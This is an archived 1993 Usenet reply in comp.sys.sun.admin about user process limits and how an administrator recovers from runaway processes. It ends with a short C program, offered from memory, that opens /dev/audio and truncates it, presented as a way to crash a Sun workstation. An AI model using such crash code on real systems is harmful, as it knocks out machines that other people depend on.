home *** CD-ROM | disk | FTP | other *** search
- Path: sparky!uunet!ukma!bogus.sura.net!ra!wintermute.phys.psu.edu!leps5.phys.psu.edu!kenh
- From: kenh@leps5.phys.psu.edu (Ken Hornstein)
- Newsgroups: comp.sys.sun.admin
- Subject: Re: Bringing a Sun to it's knees
- Date: 27 Jan 1993 21:18:03 GMT
- Organization: Penn State, Laboratory for Elementary Particle Science
- Lines: 47
- Message-ID: <1k6u6bINNeu3@wintermute.phys.psu.edu>
- References: <1993Jan25.221022.28758@ra.msstate.edu> <1993Jan26.181404.27975@bernina.ethz.ch> <GUENTHER.93Jan26183131@amcl5.stolaf.edu>
- Nntp-Posting-Host: leps5.phys.psu.edu
-
- In article <GUENTHER.93Jan26183131@amcl5.stolaf.edu> guenther@stolaf.edu (Philip A Guenther) writes:
- > Well, a typical sun runs about 15 processes before any user logs in. thus
- >
- > #define MAXUPRC (NPROC - 5)
- >
- > will not do you any good: consider a user who -- perhaps inadvertently --
- > creates MAXUPRC zombies: the sysadmin cannot log in anymore and kill
- > the parent process.
- >
- >Aha! Wrong! The sysadmin *can* still login. As getty exec's login
- >exec's the shell, you can login. The problem comes when you go to do
- >a ps. What the sysadmin could do is 'exec su -f <person at fault>',
- >then do 'kill -STOP -1' (This assumes kill is a shell builtin as in
- >csh. In bourne shell, do 'exec kill -STOP -1'). This will stop all
- >of the user's processes (except the shell), and a 'kill -TERM -1' (The
- >-TERM lets the -1 be passed to the kill(2) call) will kill them.
- >Unless the person had them catch SIGTERM, in which case it is quite
- >clear that this wasn't an accident... (okay, maybe not, but still,
- >they better have a *gooood* explanation!)
-
- Of course, this only works from the console or on a serial line, since
- inetd forks a new telnetd or rlogind for each incoming connection.
-
- Incidently, if you _really_ want to bring a Sun to it's knees, the
- following program works much better:
-
- #include <stdio.h>
- #include <fcntl.h>
- #include <errno.h>
-
- main() {
- int fd;
-
- if ((fd = open("/dev/audio",O_RDWR)) == -1) {
- perror("open");
- exit(1);
- }
-
- ftruncate(fd,0);
-
- exit(0);
-
- }
-
- (Forgive any typos, this is from memory. But you get the general idea).
-
- --Ken
-